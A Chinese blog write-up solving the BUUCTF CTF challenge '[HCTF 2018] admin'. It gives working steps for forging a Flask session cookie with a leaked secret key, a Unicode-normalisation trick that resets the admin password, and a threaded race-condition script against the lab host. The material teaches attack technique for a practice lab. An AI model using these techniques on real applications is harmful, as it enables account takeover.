

BUUCTF-[HCTF 2018]admin1

原创

[Monica](#) 于 2021-11-15 22:25:54 发布 3192 收藏

分类专栏: [BUUCTF](#) 文章标签: [安全](#) [信息安全](#) [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_46918279/article/details/121294915

版权



[BUUCTF 专栏收录该内容](#)

20 篇文章 1 订阅

订阅专栏

题目

hctf

Welcome to hctf

CSDN @_Monica_

分析

打开环境, 页面啥也没有, 日常查看源代码

提示说你不是admin, 所以这题可能是我们为admin才可以得到flag

```
4  
5 <!-- you are not admin -->  
6 <h1 class="nav">Welcome to hctf</h1>  
7
```

在login页面找到登录框

Username *

Password *

Remember Me

login

刚开始以为是sql注入，直接万能密码；结果试了几种方法发现不是报错就是提示用户名密码错误

没有结果之后，去到register注册页面注册一个账户，在change password那里查看源码，可以看到有提示

```
<div class="eight wide column">
  <!-- https://github.com/woadsl1234/hctf_flask/ -->
  <form class="ui form segment" method="post" enctype="multipart/form-data">
    <div class="field required">
      <label>NewPassword</label>
```

去github上下载

打开源码，找到index.html，发现确实是当为admin用户时就会输出flag

```
index.html
1  {% include('header.html') %}
2  {% if current_user.is_authenticated %}
3  <h1 class="nav">Hello {{ session['name'] }}</h1>
4  {% endif %}
5  {% if current_user.is_authenticated and session['name'] == 'admin' %}
6  <h1 class="nav">hctf{xxxxxxxx}</h1>
7  {% endif %}
8  <!-- you are not admin -->
9  <h1 class="nav">Welcome to hctf</h1>
10
11 {% include('footer.html') %}
12
```

方法一 flask session 伪造

原因是flask的session是存储在客户端的cookie中的即存储在本地，因此可以尝试进行伪造。且flask仅仅对session数据进行了签名。即通过hmac算法计算数据的签名，将签名附在数据后，用“.”分割。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，**即可以利用脚本可以解出session的内容**

客户端 session 导致的安全问题 | 离别歌

flask 源码解析: session | Cizixs Write Here

<https://xz.aliyun.com/t/3569>

解密脚本

```
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
```

解密过程:

复制session

Name	Value	Domain	Path	Expires /...	Size
1P_JAR	2021-11-14-05	.gstatic.c...	/	2021-12-...	
session	.eJw9kEtrwkAUhf9KuWsXeehGcCGdSUjgzqC9NszdiI3RycSxEBU14n_v1EIXZ3XgO48HrHd9c7IwPfeXZgTrdgvTB7x9wRQMcaVf_IpkD8bViaF9jL6I1ZBZ5dkbV1p27BRtHdKyM07Gysmrqsxv50WkSHmdy9SQHhN1Ik3bAwuToMgCbX1Utpq6sab6ZioOzKxDEXIcpjKfqn0mlQOhJHycsKVskzyjkm9sFgFmRR9YIhiBs8R1Kd-tz5_d83xfwJMTMG-INh9dobmscpxiRaL1PPSaipuyN3NSzuapBj_K3vM4vz2QvX-s2--Sdt_Pn9Y_HnHdc-GBAnKYzgcmr612sQR_D8AV0jayg.YZHLsw.ZOqBhclq_2wcZGEed9ZhzSpJ9ECA	db4cbfa...	/	Session	
UM_distinctid	17d1401b47b159-05213c3082c573-1c306851-13c680-17d...	.buaoj.cn	/	2022-05-...	

Cookie Value Show URL decoded

```
.eJw9kEtrwkAUhf9KuWsXeehGcCGdSUjgzqC9NszdiI3RycSxEBU14n_v1EIXZ3XgO48HrHd9c7IwPfeXZgTrdgvTB7x9wRQMcaVf_IpkD8bViaF9jL6I1ZBZ5dkbV1p27BRtHdKyM07Gysmrqsxv50WkSHmdy9SQHhN1Ik3bAwuToMgCbX1Utpq6sab6ZioOzKxDEXIcpjKfqn0mlQOhJHycsKVskzyjkm9sFgFmRR9YIhiBs8R1Kd-tz5_d83xfwJMTMG-INh9dobmscpxiRaL1PPSaipuyN3NSzuapBj_K3vM4vz2QvX-s2--Sdt_Pn9Y_HnHdc-GBAnKYzgcmr612sQR_D8AV0jayg.YZHLsw.ZOqBhclq_2wcZGEed9ZhzSpJ9ECA
```

运行脚本解密

可以看见这里解密之后有个 name 值是我们的用户名，只要将 123 改成 admin 即可得到 flag

```
yangyuntao@yangyuntaodeMacbook-Pro 脚本 % python3 flask_session_decode.py .eJw9kEtrwkAUhf9KuWsXeehGcCGdSUjgzqC9NszdiI3RycSxEBU14n_v1EIXZ3XgO48HrHd9c7IwPfeXZgTrdgvTB7x9wRQMcaVf_IpkD8bViaF9jL6I1ZBZ5dkbV1p27BRtHdKyM07Gysmrqsxv50WkSHmdy9SQHhN1Ik3bAwuToMgCbX1Utpq6sab6ZioOzKxDEXIcpjKfqn0mlQOhJHycsKVskzyjkm9sFgFmRR9YIhiBs8R1Kd-tz5_d83xfwJMTMG-INh9dobmscpxiRaL1PPSaipuyN3NSzuapBj_K3vM4vz2QvX-s2--Sdt_Pn9Y_HnHdc-GBAnKYzgcmr612sQR_D8AV0jayg.YZHLsw.ZOqBhclq_2wcZGEed9ZhzSpJ9ECA
{'_fresh': True, '_id': b'a6b80018eb76a852b571a6ffb2af6c57c14db156105f08b453f8a7a18ef497ed6601eb4eb2b998971afa6ad076b3702b12f3fb9346a9ecae12373d53d672bb82', 'csrf_token': b'e29bb4f5da054e6847dba9216917427182156aa0', 'image': b'jkBI', 'name': '123', 'user_id': '10'}
```

解密后的内容

```
{'_fresh': True, '_id': b'a6b80018eb76a852b571a6ffb2af6c57c14db156105f08b453f8a7a18ef497ed6601eb4eb2b998971
```

破解出 flag 的内容不难，但是伪造 session 需要密钥。在 config.py 里面发现密钥为 ckj123

```
1 import os
2
3 class Config(object):
4     SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
5     SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
6     SQLALCHEMY_TRACK_MODIFICATIONS = True
```

加密脚本

```
git clone https://github.com/noraj/flask-session-cookie-manager
```

下载到当前目录下或者直接去 github 自己下载

将解密后的内容中的 123 改成 admin

```
{'_fresh': True, '_id': b'a6b80018eb76a852b571a6ffb2af6c57c14db156105f08b453f8a7a18ef497ed6601eb4eb2b998971
```

加密

```
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t '{"_fresh': True, '_id': b'a6b80018eb76a852b
```

```
yangyuntao@yangyuntaoMacbook-Pro flask_session % python3 flask_session_cookie_manager3.py encode -s "ckj123" -t '{"_fresh': True, '_id': b'a6b80018eb76a852b571a6ffb2af6c57c14db156105f08b453f8a7a18ef497ed6601eb4eb2b998971afa6ad076b3702b12f3fb9346a9ecae12373d53d672bb82', 'csrf_token': b'e29bb4f5da054e6847dba9216917427182156aa0', 'image': b'jkBI', 'name': 'admin', 'user_id': '10'}"
.eJw9kE-LwjAQxb_KkrOH_tGL4EE2aWlhEuqOWzIXcdtqmpouVEWt-N03uuDhXd7A7715d7bZDc3RsPlpODcTtm1rNr-zjx82ZxqpVXx5ATQHbatI4z4E14VyTix05LTNDVmyEmsLu0q0FaG04iJLfvFpFkiUTqUi1iimVOpAYX0griPgietvPJWYTDVWF11SZ6ZdMB9joUYeN4C5g4i3wEhKE7MqJSGUNxgrEbiay8dg_MMni3YY8Kq47DbnH67pn_QJjNtMsCst-dxmUo03WkeBFTmhuF2VXa7irH4iZHMVnFzCzYWC5euNZt982btHWnz6_i_9JvXf0atf2bMLOx2Z47cbCgD3-ADyZbJs.YZHTDA.2GL2Gg-r0kSjQvoZ95c30jGW_CI
yangyuntao@yangyuntaoMacbook-Pro flask_session %
```

结果

```
.eJw9kE-LwjAQxb_KkrOH_tGL4EE2aWlhEuqOWzIXcdtqmpouVEWt-N03uuDhXd7A7715d7bZDc3RsPlpODcTtm1rNr-zjx82ZxqpVXx5AT
```

将结果放到session里面刷新即可得到flag

hctf

Hello admin

flag{c6d40825-156f-439a-a7e4-de1e342c589f}

Welcome to hctf

Name	Value	Domain	Path	Expires / ...	Size	HttpOnly	Secure	SameSite	SameParty	Priority
1P_JAR	2021-11-14-05	.gstatic.c...	/	2021-12-...	19		✓	None		Medium
session	.eJw9kE-LwjAQxb_KkrOH_tGL4EE2aWlhEuqOWzIXcdtqmpouVEWt-N03uuDhXd7A7715d7bZDc3RsPlpODcTtm1rNr-zjx82ZxqpVXx5ATQHbatI4z4E14VyTix05LTNDVmyEmsLu0q0FaG04iJLfvFpFkiUTqUi1iimVOpAYX0griPgietvPJWYTDVWF11SZ6ZdMB9joUYeN4C5g4i3wEhKE7MqJSGUNxgrEbiay8dg_MMni3YY8Kq47DbnH67pn_QJjNtMsCst-dxmUo03WkeBFTmhuF2VXa7irH4iZHMVnFzCzYWC5euNZt982btHWnz6_i_9JvXf0atf2bMLOx2Z47cbCgD3-ADyZbJs.YZHTDA.2GL2Gg-r0kSjQvoZ95c30jGW_CI	.db4cbfa...	/	Session	406	✓				Medium
UM_distinctid	17d1401b47b159-05213c3082c573-1c306851-13c680-17d...	.buaoj.cn	/	2022-05-...	73					Medium

方法二：Unicode欺骗

注意在routes.py中 修改密码的这一段代码

```

/* forms.py
/* models.py
/* routes.py
.run.py.swp
.run.py.un~
/* 1.sh
<> README.md
requirements.txt
/* run.py
run.py~
/* Untitled-1.sql
/* user.sql

79 def change():
80     if not current_user.is_authenticated:
81         return redirect(url_for('login'))
82     form = NewpasswordForm()
83     if request.method == 'POST':
84         name = strlower(session['name'])
85         user = User.query.filter_by(username=name).first()
86         user.set_password(form.newpassword.data)
87         db.session.commit()
88         flash('change successful')
89         return redirect(url_for('index'))
90     return render_template('change.html', title = 'change', form = form)
91
92 @app.route('/edit', methods = ['GET', 'POST'])
93 def edit():
94     if request.method == 'POST':
95
96         flash('post successful')
97         return redirect(url_for('index'))
98     return render_template('edit.html', title = 'edit')
99
100 @app.errorhandler(404)
101 def page_not_found(error):
102     title = unicode(error)
103     message = error.description
104     return render_template('errors.html', title=title, message=message)
105
106 def strlower(username):
107     username = nodeprep.prepare(username)
108     return username

```

CSDN @Monica_

在修改密码的时候先将name进行strlower处理一次，看名字意思是转为小写，但python中自带转小写函数lower()却没有用，跟进strlower函数看看是如何使用的；发现其使用的nodeprep.prepare()，而nodeprep是从Twisted模块导入的，在requirements.txt文件中发现Twisted==10.2.0，而官网最新已经到了19.7.0(2019/9)，版本差距很大，应该会存在漏洞。这个函数的意思是：（这里借用小白白师傅的一张图，我的python运行不起来，alei）

```

1 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
2
3 def test(name):
4     return nodeprep.prepare(name)
5
6 print u'\u1d2c\u1d30\u1d39\u1d35\u1d3A'
7 print test(u'\u1d2c\u1d30\u1d39\u1d35\u1d3A')
() 8 print test(test(u'\u1d2c\u1d30\u1d39\u1d35\u1d3A'))

```

```

ADMIN
ADMIN
admin
[Finished in 0.2s]

```

CSDN @Monica_

然后我们发现在使用nodeprep.prepare函数对于 Modifier Letter Capital 这些字母转换时过程如下：

1D20	V	W	Z	3	2	•	Г	Λ	Π	Р	Ψ	Л	Λ	Æ	B	B
1D30	D	E	Э	G	H	I	J	K	L	M	N	И	O	8	P	R
1D40	T	U	W	a	e	ɑ	æ	b	d	e	ə	ε	э	g	ı	k

CSDN @Monica_

```
ADMIN
```

```
使用一次nodeprep.prepare()
```

```
-> ADMIN
```

```
再使用一次nodeprep.prepare()
```

```
-> admin
```

同时我们在登录的时候也发现了`strlower`这个函数

```
/* config.py
/* forms.py
/* models.py
/* routes.py
.run.py.swp
.run.py.un~
/* 1.sh
<> README.md
requirements.txt
/* run.py
run.py~

57 def login():
58     if current_user.is_authenticated:
59         return redirect(url_for('index'))
60
61     form = LoginForm()
62     if request.method == 'POST':
63         name = strlower(form.username.data)
64         session['name'] = name
65         user = User.query.filter_by(username=name).first()
66         if user is None or not user.check_password(form.password.data):
67             flash('Invalid username or password')
68             return redirect(url_for('login'))
69         login_user(user, remember=form.remember_me.data)
70         return redirect(url_for('index'))
71     return render_template('login.html', title = 'login', form = form)
```

那么我们的思路就明确了：

```
print (u'\u1d2c\u1d30\u1d39\u1d35\u1d3A')
```

```
//输出ADMIN
```

点[这里](#)（Modifier Letter Capital）可以找这些字母和他们的unicode码值

首先我们注册ADMIN用户。然后用ADMIN用户登录；因为在登录时login函数里使用了一次nodeprep.prepare函数，因此我们登录上去看到的用户名为ADMIN

hctf

Hello ADMIN

Welcome to hctf

CSDN @Monica_

此时我们点change password修改密码，在修改时就会再一次调用了一次nodeprep.prepare函数将ADMIN转换为admin，这样我们就可以改掉admin的密码，最后利用admin账号登录即可拿到flag。

方法三：条件竞争（不过实际没有成功，但理论是对的）

```

57 def login():
58     if current_user.is_authenticated:
59         return redirect(url_for('index'))
60
61     form = LoginForm()
62     if request.method == 'POST':
63         name = strlower(form.username.data)
64         session['name'] = name
65         user = User.query.filter_by(username=name).first()
66         if user is None or not user.check_password(form.password.data):
67             flash('Invalid username or password')
68             return redirect(url_for('login'))
69         login_user(user, remember=form.remember_me.data)
70         return redirect(url_for('index'))
71     return render_template('login.html', title = 'login', form = form)
72
73 @app.route('/logout')
74 def logout():
75     logout_user()
76     return redirect('/index')
77
78 @app.route('/change', methods = ['GET', 'POST'])
79 def change():
80     if not current_user.is_authenticated:
81         return redirect(url_for('login'))
82     form = NewpasswordForm()
83     if request.method == 'POST':
84         name = strlower(session['name'])
85         user = User.query.filter_by(username=name).first()
86         user.set_password(form.newpassword.data)
87         db.session.commit()
88         flash('change successful')
89         return redirect(url_for('index'))
90     return render_template('change.html', title = 'change', form = form)
91
92 @app.route('/edit', methods = ['GET', 'POST'])

```

上述代码表示，1、在登录时是直接将登陆表单中的用户名赋值给session['name']; 且不需要密码是不是正确（需要用bp抓包，直接登录session里面只有一瞬间改变）

```

:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
UM_distinctid=17d1401b47b159-05213c3082c573-1c306851-1
3c680-17d1401b47ca9e;
session=eyJfZnJlc2giOmZhbHNlClJjc3JmX3Rva2Vuljpw7liBiljoiWkR
Rek1tVm1Nak01WTJNeFptSm1PRGc1TVRnNU1HSmxNVEU1T0dVN
VIUSTFOV001Wm1Oa013PT0ifSwibmFtZSI6ImFkbWludn0.YZJrvQ.q
xxznGTjTIOZbs_WVNF4yw_w7I
Connection: close
-----WebKitFormBoundaryMUPHU0FytmuXBb9O
Content-Disposition: form-data; name="username"

admin
-----WebKitFormBoundaryMUPHU0FytmuXBb9O
Content-Disposition: form-data; name="password"

111
-----WebKitFormBoundaryMUPHU0FytmuXBb9O--

```

```

Connection: close
Location: http://f31b4c89-a0e3-42d6-a03f-e9208b26c13c.node4.buuoj.cn:81/lo
Set-Cookie:
session=.eyJwtjI0LgJAYHf9KvNfeNNhFgy6yLwpmSOBaQmKuWaZb0aQPw_-e1ReHAW
pfKRBIWvrNLMiHA6h8bp1zTDi7HkVY7-vUPxKzawSa_-ucv_Bt0F9QIOXGH2JpEm8
pdAWSCcUk7CmJjb0TDFH9CnMMI9NjphGbebLkkZTvjpvMI8W_YBRLExQ0MfvElhpdI
BQ.EdpA7G3TiHp4AVrnHKO6IbwYKDK; HttpOnly; Path=/

yangyuntao@yangyuntaodeMacbook-Pro flask_session % python3 flask_session_decode.py
eyJfZnJlc2giOmZhbHNlClJjc3JmX3Rva2Vuljpw7liBiljoiWkRRek1tVm1Nak01WTJNeFptSm1PRGc1TVRnNU1HSmxNVEU1T0dVNVIUSTFOV001Wm1Oa013PT0ifSwibmFtZSI6ImFkbWludn0.YZJrvQ.qxxznGTjTIOZbs_WVNF4yw_w7I
{ '_fresh': False, 'csrf_token': b'd432ef239cc1fbb8891890be1198e9a255c9fcd3' }
yangyuntao@yangyuntaodeMacbook-Pro flask_session % python3 flask_session_decode.py
.eJwjtjI0LgJAYHf9KvNfeNNhFgy6yLwpmSOBaQmKuWaZb0aQPw_-e1ReHAWeeh_0GfVZKd9IOy04N
vepfKRBIWvrNLMiHA6h8bp1zTDi7HkVY7-vUPxKzawSa_-ucv_Bt0F9QIOXGH2JpEm81n7T7gQkK6XT
Hih3y_bVpdAWSCcUk7CmJjb0TDFH9CnMMI9NjphGbebLkkZTvjpvMI8W_YBRLExQ0MfvElhpdKuQ85Nb
aD7r40D1.YZJsbQ.EdpA7G3TiHp4AVrnHKO6IbwYKDK
{ '_flashes': [(b'message', b'Invalid username or password')], 'fresh': False, 'csrf_token': b'd432ef239cc1fbb8891890be1198e9a255c9fcd3', 'name': 'admin' }
yangyuntao@yangyuntaodeMacbook-Pro flask_session %

```

2、在修改密码的时候是直接将session['name']即用户名赋值给name, 然后对name用户进行修改密码。未进行安全的身份验证, 也就可能存在以下一种可能: 我们注册一个用户test, 现在有一个进程1登录了test用户 然后重复进行改密码操作 因为改密码需要session['name']来判断是修改的那个用户, 所以改密码时一直用的是test用户的session;

进程2一直以admin用户进行登录密码正确与否无所谓，此时会创建一个session，内容里面name=admin，即session['name']内容admin。

那么就会是不是有可能当进程1进行到改密码操作时，进程2恰好进行登录，此时进程1改密码需要一个session['name']赋值给name来判断是修改哪一个用户的密码，而进程2刚好将session['name']赋值为admin，然后进程1调用此session修改密码，即修改了admin的密码。

不过网上的wp都说在实际测试并没有成功。不知道为什么（我也就不去测试了偷个懒hhh）

python脚本

```
import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
    return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
    data = {
        'newpassword': newpassword
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
    if 'flag' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()
```

方法四：直接登录

用户名admin的密码为123，登录即可

其他问题

The screenshot shows a web browser with a registration form and a terminal window. The form has fields for Username, Password, and verify_code, with a 'register' button. The terminal window shows the following output:

```
Last login: Mon Nov 15 11:20:43 on ttys000
yangyuntao@yangyuntaodeMacbook-Pro ~ % cd downloads
yangyuntao@yangyuntaodeMacbook-Pro downloads % cd 网安
yangyuntao@yangyuntaodeMacbook-Pro 网安 % cd 脚本
yangyuntao@yangyuntaodeMacbook-Pro 脚本 % cd flask_session
yangyuntao@yangyuntaodeMacbook-Pro flask_session % ls
LICENSE          flask_session_cookie_manager2.py
PKGBUILD        flask_session_cookie_manager3.py
README.md       flask_session_decode.py
_config.yml     setup.py
yangyuntao@yangyuntaodeMacbook-Pro flask_session % python3 flask_session_decode.py
py eyJfZnJlc2giOmZhbHNILCJjc3MxX3Rva2VuIjpw7iBiljoiTm...
kuWw1RnME4ySTJ2a1EyWm1ZMF1qQxAR6t4T8dFM1pRPT0ifSwiaW1hZ2U5OnsiIGIiOiJvbiZlCT0E9P
SJ9fQ.YZiPxQ.8gnhLMuh03tRgsZ6iEhNVF71fI
{'_fresh': False, 'csrf_token': b'65fccb25b88e52f214e347b6b46ff4b00d918a6e', 'image': b'RuA8'}
yangyuntao@yangyuntaodeMacbook-Pro flask_session %
```

The browser's Application tab shows a table of cookies:

Name	Value	Domain	Path	Expires /...	Size	HttpOnly	Secure	SameSite	SameParty	Priority
1P_JAR	2021-11-14-05	.gstatic.c...	/	2021-12-...	19		✓	None		Medium
session	eyJfZnJlc2giOmZhbHNILCJjc3MxX3Rva2VuIjpw7iBiljoiTm...	1b9e33...	/	Session	204	✓				Medium
UM_distinctid	17d1401b47b159-05213c3082c573-1c306851-13c680-17d...	.buaa.cn	/	2022-05-...	73					Medium

验证码能在session里面解密出来

参考文章:

[一题三解之2018HCTF&admin - 安全客, 安全资讯平台](#)

[\[HCTF 2018\]admin 1_feng的博客-CSDN博客](#)

[HCTF2018-admin_迷风小白-CSDN博客](#)

[BUUCTF \[HCTF 2018\]admin_Fstone2020的博客-CSDN博客](#)